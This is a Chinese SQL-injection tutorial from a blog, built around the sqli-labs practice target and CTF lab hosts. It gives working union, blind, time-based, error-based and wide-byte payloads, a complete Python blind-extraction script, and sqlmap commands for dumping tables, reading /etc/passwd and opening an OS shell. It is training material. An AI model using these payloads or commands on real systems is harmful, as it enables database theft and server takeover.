php漏洞集合

第三章 常见的php漏洞集合

1.sql注入漏洞

0x01 注入介绍

1.什么是sql注入

用户输入的参数被当成sql语句在数据库里执行,这就是sql注入漏洞

2.sql注入的危害

sql注入轻则获取数据库信息,重则获取服务器权限。

0x02 搭建sqli-labs靶机

0.介绍

SQLI-LABS是学习SQLI的平台

sqli-labs下载链接:https://github.com/Audi-1/sqli-labs

环境:phpstudy+windows10

1.创建网站(注意php版本选择5.6)

image-20200919233002289

2.打开根目录,上传sqlilab源码

image-20200919233116252

3.解压到目录

image-20200919233254159

4.修改网站根目录

image-20200919233352457

5.打开网站

image-20200919233414959

6.安装数据库

image-20200919233435226

7.安装报错

image-20200919233506010

检查如下文件D:\phpstudy_pro\WWW\sql.com\sqli-labs-master\sqli-labs-master\sql-connections\setup-db.php第29行

以及错误 db-creds.inc: Access denied for user ‘root’@‘localhost’ (using password: NO)

发现是由于db-creds.inc中数据库root密码为空导致的报错

image-20200919233727572

8.修改当前mysql的root密码,并重新刷新页面

image-20200919233820954

9.安装完成,访问less-1

image-20200919233851950

image-20200919233910271

10.传入参数?id=1

image-20200919233941933

11.修改文件(方便注入学习)

在less-1文件夹中的index.php中修改如下代码

image-20200919234215466

浏览器访问查看效果

image-20200919234256605

0x02 注入测试

01 介绍

我们刚刚说到的,sql注入是和数据库交互,所以我们在找注入点的时候一定要注意,这个地方有没有和数据库做交互?常见的数据库交互的位置在哪里?

02 案例

这里我们看到我们的less-1,我们发现除了提交?id=1之外,我们还可以提交其他的值

例如当我们提交 ?id=1*2,

image-20200919234859004

我们会发现1*2被单引号包裹,并不会对数据库取值造成影响

但是如果我们这样提交?id=1*2',整个数据库就会报错

image-20200919235043618

这是为什么呢?我们仔细看到sql语句

SELECT * FROM users WHERE id='1*2'' LIMIT 0,1

mysql在执行的时候发现语句的符号不匹配,在1*2前面为单引号,后面为双引号,出现了语法错误,也即是我们“不小心”提交的字符破坏了原本的sql语句,那我们能不能利用这个错误呢?

首先要让mysql错误消失,这里我们使用mysql的注释语句

# 与 --+ 分别代表mysql的单行注释

我们如果这样提交

(这里的%23为#号经过url编码后的结果)

看看效果 ?id=1*2’ --+

image-20200919235614694

?id=1*2’ %23

image-20200919235644224

发现都能够成功闭合sql语句,执行我们的自定义语句,导致sql注入的产生

0x03.如何判断sql注入?

判断注入的标准就是,我们输入的语句是否被sql数据库执行

一般我们会用到如下语句

  • 1 and 1=1 (可能被WAF)
  • 1 or sleep(1) (时间注入)(可能被WAF)
  • 1 xor 1=1 (异或注入)

0x04 mysql系统变量与函数

mysql内置很多常见函数与变量,在sql注入中我们可能会用到,所以这里我们做一个简单介绍

如何具体查看变量呢?变量用@@变量名 来表示

show variables;

image-20200918085815499

查询数据库的版本信息

select @@version;

image-20200918090343379

一些常见的mysql函数

user(),version(),datadir()

查看mysql服务器版本

select version();

image-20200918090556398

查看当前数据库当前用户

select user();

image-20200919224039248

查看数据库位置(这个在之后我们会用得到)

select @@datadir;

image-20200919230530004

当然还有查询所有的数据库

show databases;

image-20200919230903209

查询当前的数据库

select database();

image-20200919231010405

0x05 基础注入

从查数据库-查数据库中的表-查表中的字段-获取字段中的内容,既获取管理员密码

mysql在选中数据库后能不能获取到其他数据库的内容?

image-20200921085919037

答案是可以的

image-20200921085959786

同时table_schema 这个字段的值也是可以用函数来直接替换

image-20200921090016808

image-20200921090056874

1.查数据库
select database();

image-20200921100957305

2.查数据库中的表
select table_name from information_schema.tables where table_schema = database();

image-20200921095015755

也可以通过 group_concat() 函数把所有结果放在一个结果集中查询

http://117.167.136.242:8002/Less-1/?id=0%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20database()--+

image-20200921094513827

3.查表里的字段
select column_name from information_schema.columns where table_schema=database() and table_name = 'emails';

image-20200921094445450

4.从表里面查找字段的内容

使用concat_ws可以把字段放在一块查询

从数据库里取N个字段,然后组合到一起用“,”分割显示,起初想到用CONCAT()来处理,好是麻烦,没想到在手册里居然有提到CONCAT_WS(),非常好用

select 1,2,concat_ws('~',id,email_id) from emails;
http://117.167.136.242:8002/Less-1/?id=0%27%20union%20select%201,2,concat_ws(%27~%27,id,email_id)%20from%20emails%20--+

image-20200921095834968

5.测验内容

目标获取网站系统的管理员账号密码

http://rdctf.com:8000/challenges

image-20200921101050587

注意这里最好用union all select

image-20200922092247940

查表

http://117.167.136.244:28045/index/narticle.php?nid=-3099 union all select (select table_name from information_schema.tables where table_schema = database() limit 0,1),2 --+

image-20200922120657258

同时也可以用group_concat()

http://117.167.136.244:28045/index/narticle.php?nid=-3099%20union%20all%20select%20(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),2%20--+
http://117.167.136.244:28045/index/narticle.php?nid=-3099 union all select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 --+

0x06.其他注入类型

1.基于布尔型的盲注

即可以根据返回页面判断条件真假的注入

?id='1' and 1= 1 -- 

页面正常

image-20200921144558530

?id='1' and 1= 2 -- 

页面出错

image-20200921144649158

那么盲注是如何获取数据库数据呢?

首先获取数据库名,我们要先判断数据库长度,然后逐步获取

?id='0' or length(database())>8 --

在mysql数据库中执行如下,length() 为取字符串长度

image-20200921145433667

在sql靶机测试如下,当length(database()) > 7 数据库成立,则页面显示正常,反之则无回显

image-20200921145625691

image-20200921145331398

猜数据库第一位字符,substr(database(),1,1) ,从第一位字符串开始取,取一位

image-20200921151222823

把取到的这一位换成ascii,这样方便匹配

image-20200921151803942

image-20200921151335351

测试–查库名

?id=0' or ascii(substr(database(),1,1)) > 110 -- 

image-20200921151555533

image-20200921151649387

下面我们进行查表操作

在查表之前我们需要获取当前数据库中存在几个表

SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = database();

image-20200921152646099

select 1 or 4 = (SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = database());

确认当前数据库中存在四个表

image-20200921153039944

测试 or 4 = 正常 or 5 = 失败

image-20200921153214645

image-20200921153301768

测试完数据库表的个数后,测试第一个表的开头第一个字符,建议这里把数据库语句拆分理解

select (substr((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='security' limit 0,1),1,1));

image-20200921154750594

select (ascii(substr((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='security' limit 0,1),1,1)));

image-20200921154921204

image-20200921155201065

?id='' or ascii(substr((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='security' limit 0,1),1,1)) = 101 --+ 

image-20200921160402791

下面进行查字段长度操作

select '0' or 2 = (SELECT count(column_name) FROM INFORMATION_SCHEMA.columns where TABLE_SCHEMA = database() and table_name = 'emails');

image-20200921160027261

select '0' or 3 = (SELECT count(column_name) FROM INFORMATION_SCHEMA.columns where TABLE_SCHEMA = database() and table_name = 'emails');

image-20200921160159032

下面进行查字段名

select (SELECT column_name FROM INFORMATION_SCHEMA.columns where TABLE_SCHEMA ='security' and table_name = 'emails' limit 0,1);

image-20200921160929556

select (ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns where TABLE_SCHEMA ='security' and table_name = 'emails' limit 0,1),1,1)));

image-20200921161031692

select (ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns where TABLE_SCHEMA ='security' and table_name = 'emails' limit 0,1),2,1)));

image-20200921161105885

查找表中的字段内容

首先判断字段内容的条数

SELECT count(`id`) FROM security.emails;

image-20200921161639749

image-20200921162315738

select (ascii(substr((SELECT `email_id` from security.emails limit 2,1),1,1)));

image-20200921163025172

image-20200921163037849

至此,整个基于布尔型的盲注的过程结束

https://www.tr0y.wang/2017/12/11/SqliLab/#Day8-Less8

from requests import get
def GuessDBLength():
    print '[+]Guessing DBLength'
    i = 0
    while 1:
        r = get("http://localhost/sqllab/Less-1/?id=0' or length(database())=%d--+" %i)
        html = r.text
        if 'Your Login name' in html:
            print '  [-]The DatabaseNameLength is', i
            return i
        i+=1
def GuessDBName(length):
    print '[+]Guessing DBName'
    name = ''
    for i in xrange(length):
        for n in xrange(127):
            r = get("http://localhost/sqllab/Less-1/?id=0' or ascii(SUBSTR(database(),%d,1))='%d'--+" %(i+1,n))
            html = r.text
            if 'Your Login name' in html:
                name += chr(n)
                print '  [-]', name
                break
    print '  [-]DBName is:', name
    return name
def GuessTBsNum(name):
    print '[+]Guessing Tables num'
    i = 0
    while 1:
        r = get("http://localhost/sqllab/Less-1/?id=' or %d=(SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s') --+" %(i,name))
        html = r.text
        if 'Your Login name' in html:
            print '  [-]The Tables num is', i
            break
        i+=1
    return i
def GuessTBNameLenth(n, name):
    print '[+]Guessing TableName Length'
    i = 1
    while 1:
        r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='%s' limit %d,1),%d,1)) --+" %(name,n,i))        
        html = r.text
        if 'Your Login name' not in html:
            print '  [-]The TableName Lenth is', i-1
            return i-1
        i+=1
def GuessTBsNames(num, DBName):
    TBsNames = []
    for no in range(num):
        name = ''
        length = GuessTBNameLenth(no, DBName)
        print '  [-]Guessing Table Name'
        for i in xrange(length):
            for n in xrange(127):
                r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s' limit %d,1),%d,1))='%d' --+" %(DBName,no,i+1,n))
                html = r.text
                if 'Your Login name' in html:
                    name += chr(n)
                    print '    [-]', name
                    break
        TBsNames.append(name)
    print '  [-]All Tables Names is:', TBsNames
    return TBsNames
def GuessCLMNum(tname,dname):
    print '[+]Guessing Colunms num'
    i = 0
    while 1:
        r = get("http://localhost/sqllab/Less-1/?id=' or %d=(SELECT count(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s') --+" %(i,tname,dname))   
        html = r.text
        if 'Your Login name' in html:
            print '  [-]The Colunm num is', i
            return i
        i+=1    
def GuessCLMLen(cnum, tname, dname):
    i = 1
    while 1:
        r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s'  and TABLE_SCHEMA='%s' limit %d,1),%d,1)) --+" %(tname,dname,cnum,i))        
        html = r.text
        if 'Your Login name' not in html:
            print '  [-]The Colunm Lenth is', i-1
            return i-1
        i+=1
def GuessCLMName(DBName, TNames):
    for tname in TNames:
        print '[+]Guessing Colunms for', tname
        CLMNames = []
        for cnum in range(GuessCLMNum(tname,DBName)):
            length = GuessCLMLen(cnum, tname, DBName)
            name = ''
            for i in xrange(length):
                for n in xrange(127):
                    r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1))='%d' --+" %(tname,DBName,cnum,i+1,n))
                    html = r.text
                    if 'Your Login name' in html:
                        name += chr(n)
                        print '    [-]', name
                        break
            data = GuessDatas(DBName, tname, name)
            CLMNames.append(name)
        print '  [-]The Colunms are',CLMNames
def GuessDatasnum(dname, tname, cname):
    i = 0
    while 1:
        r = get("http://localhost/sqllab/Less-1/?id=' or %d=(SELECT count(%s) FROM %s.%s) --+" %(i,cname,dname,tname))   
        html = r.text
        if 'Your Login name' in html:
            print '  [-]The Datas num is', i
            return i
        i+=1
def GuessDataLen(dname, tname, cname, n):
    print '    [-]Guessing data length'
    i = 1
    while 1:
        r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1)) --+" %(cname, dname, tname, n, i))        
        html = r.text
        if 'Your Login name' not in html:
            print '  [-]The Data Lenth is', i-1
            return i-1
        i+=1
def GuessDatas(dname, tname, cname):
    datanum = GuessDatasnum(dname, tname, cname)
    Data = []
    for no in range(datanum):
        length = GuessDataLen(dname, tname, cname, no)
        print '    [-]Guessing data'
        name = ''
        for i in xrange(length):
            for n in xrange(127):
                while 1:
                    try:
                        r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1))='%d' --+" %(cname, dname, tname, no,i+1,n))
                        break
                    except:
                        print 'Relaxing...'
                html = r.text
                if 'Your Login name' in html:
                    name += chr(n)
                    print '    [-]', name
                    break
        Data.append(name)
    print '  [-]All Datas of %s is:' %cname, Data
    return Data
DBLength = GuessDBLength()
DBName = GuessDBName(DBLength)
print
TBsNum = GuessTBsNum(DBName)
TBsNames = GuessTBsNames(TBsNum, DBName)
print
GuessCLMName(DBName, TBsNames)
print '[!]All Done!'
2.基于时间的盲注

即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

这里我们需要打开浏览器的控制台,点网络选项进行查看

?id=1' and sleep(5) --+

image-20200921164046139

如何获取数据?其实很简单,就是在盲注的基础上加了个if语句

select 0 or If(ascii(substr(database(),1,1))=115,sleep(5),0);

image-20200921170635730

这里不做过多讲解(基于盲注)

3.基于报错注入

即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

https://v0w.top/2018/08/03/MySQL%20%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5/#%E6%B3%A8%E5%85%A5%E8%AF%AD%E5%8F%A5

https://blog.csdn.net/whatday/article/details/63683187

01 floor()
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed. You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times. However, you can retrieve rows in random order like this:

官方文档中的意思是:在where语句中,where每执行一次,rand()函数就会被计算一次。rand()不能作为order by的条件字段,同理也不能作为group by的条件字段。

如下面的语句,由于rand()不能作为group by的条件字段所以报错

select 1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from users group by x)a);

image-20200922083348416

image-20200922084016611

02 extractvalue()

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()

因此在mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入

EXTRACTVALUE (XML_document, XPath_string);
  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串).
  • 作用:从目标XML中返回包含所查询值的字符串

第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里

select 1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

image-20200922084332016

image-20200922084524784

值得注意的是,updatexml()和extractvalue()一样,报错长度是有限制的,最长32位。(从最后一句测试,也可以看出)

image-20200922085247320

03 updatexml()
UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

0

另外,updatexml最多只能显示32位,需要配合SUBSTR使用

updatexml(1,concat(0x7e,SUBSTR((SELECT f14g from f14g LIMIT 0,1),1,24),0x7e),1)
updatexml(1,concat(0x7e,(select substring(f14g,20) from f14g limit 0,1),0x7e),1)
04 NAME_CONST
name_const(name,value)

如果传入的参数不是常量也会报错

image-20200922094636226

返回给定值。 当用来产生一个结果集合列时, name_const()促使该列使用给定名称。

利用的是表的字段名(列名)不允许重复,列名重复会报错,报错长度没有限制

select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;

image-20200922093733061

select 1 and (select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x);

image-20200922094258576

4.宽字节注入

https://xz.aliyun.com/t/1719

宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入

例如说PHP的编码为 UTF-8MySql的编码设置为了
SET NAMES 'gbk'或是 SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞

在我们正常情况下使用addslashes函数或是开启PHPGPC(注:在php5.4已上已给删除,并且需要说明特别说明一点,GPC无法过滤$_SERVER提交的参数)时过滤GET、POST、COOKIE、REQUSET 提交的参数时,黑客们使用的预定义字符会给转义成添加反斜杠的字符串如下面的例子

单引号(')= (\')
双引号(") = (\")
反斜杠(\) = (\\)

假如这个网站有宽字节注入那么我们提交:

http://127.0.0.1/unicodeSqlTest?id=%df%27

这时,假如我们现在使用的是addslashes来过滤,那么就会发生如下的转换过程

%df%27===(addslashes)===>%df%5c%27===(数据库GBK)===>運'

这里可能有一些人没看懂,我可以粗略的解释一下。
前端输入%df%27时首先经过上面addslashes函数转义变成了%df%5c%27%5c是反斜杠\),之后在数据库查询前因为设置了GBK编码,即是在汉字编码范围内两个字节都会给重新编码为一个汉字。然后MySQL服务器就会对查询语句进行GBK编码即是%df%5c转换成了汉字,而单引号就逃逸了出来,从而造成了注入漏洞

http://117.167.136.242:8002/Less-32/?id=1%df%27  order by 3 --+

image-20200925102552525

5.堆查询注入

0x07 sqlmap注入工具使用

1.sqlmap 安装

sqlmap 源码下载 https://github.com/sqlmapproject/sqlmap

python 环境安装 https://www.python.org/

将下载的SQLMAP安装包解压到文件夹sqlmap中,并拷贝到 “C:\Python27” 目录下 (C:\Python27 为你的python安装路径)

image-20200910165830309

新建cmd快捷方式(C:\\windows\system32\cmd.exe)

image-20200910165846678

新建快捷方式

image-20200910165900584

image-20200910165928234

运行sqlmap.py

image-20200910165949769

2.sqlmap 使用

在使用之前需要认真的考虑一个问题,哪里可能是注入点?

https://parrotsec-cn.org/t/topic/834

https://www.cnblogs.com/hongfei/p/3872156.html

下面是简单教程(以mysql数据库为例)

01 判断注入点
sqlmap -u "http://117.167.136.244:28040/ajax.php?act=selgo" --data "tyid=1"

如果存在注入点即会爆出信息如下

image-20200917091217910

02 列数据库信息
sqlmap -u "http://117.167.136.244:28040/ajax.php?act=selgo" --data "tyid=1" --dbs

image-20200917093430391

03 查数据库里面的表
sqlmap -u "http://117.167.136.244:28040/ajax.php?act=selgo" --data "tyid=1" -D faka --tables

image-20200917093627236

04 查表里面的字段
sqlmap -u "http://117.167.136.244:28040/ajax.php?act=selgo" --data "tyid=1" -D faka -T ayangw_config --columns

image-20200917093750198

05 查字段里面的内容
sqlmap -u "http://117.167.136.244:28040/ajax.php?act=selgo" --data "tyid=1" -D faka -T ayangw_config -C 'ayangw_k,ayangw_v' --dump

image-20200917094222037

3.sqlmap 使用-进阶
01 POST 注入 --data 为 post传入的参数
sqlmap -u "http://117.167.136.244:28040/ajax.php?act=selgo" --data "tyid=1"

image-20200917112003504

02 查看权限
sqlmap -u "http://117.167.136.244:28023/ajax.php?act=selgo" --data "tyid=1" --is-dba

image-20200917122746765

03 执行命令

(注意是dba权限)

sqlmap -u "http://117.167.136.244:28023/ajax.php?act=selgo" --data "tyid=1" --os-shell

image-20200917122911500

04 文件读取

(注意是dba权限)

sqlmap -u "http://117.167.136.244:28023/ajax.php?act=selgo" --data "tyid=1" --file-read=/etc/passwd

image-20200917123144538

05 tamper 绕waf
sqlmap.py -u"http://**.com/detail.php? id=16" –tamper "halfversionedmorekeywords.py"

2.XSS挑战

01 什么是xss

https://xz.aliyun.com/t/4507

https://prompt.ml/0 靶机

https://github.com/myxss/vulstudy

3.文件上传漏洞

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值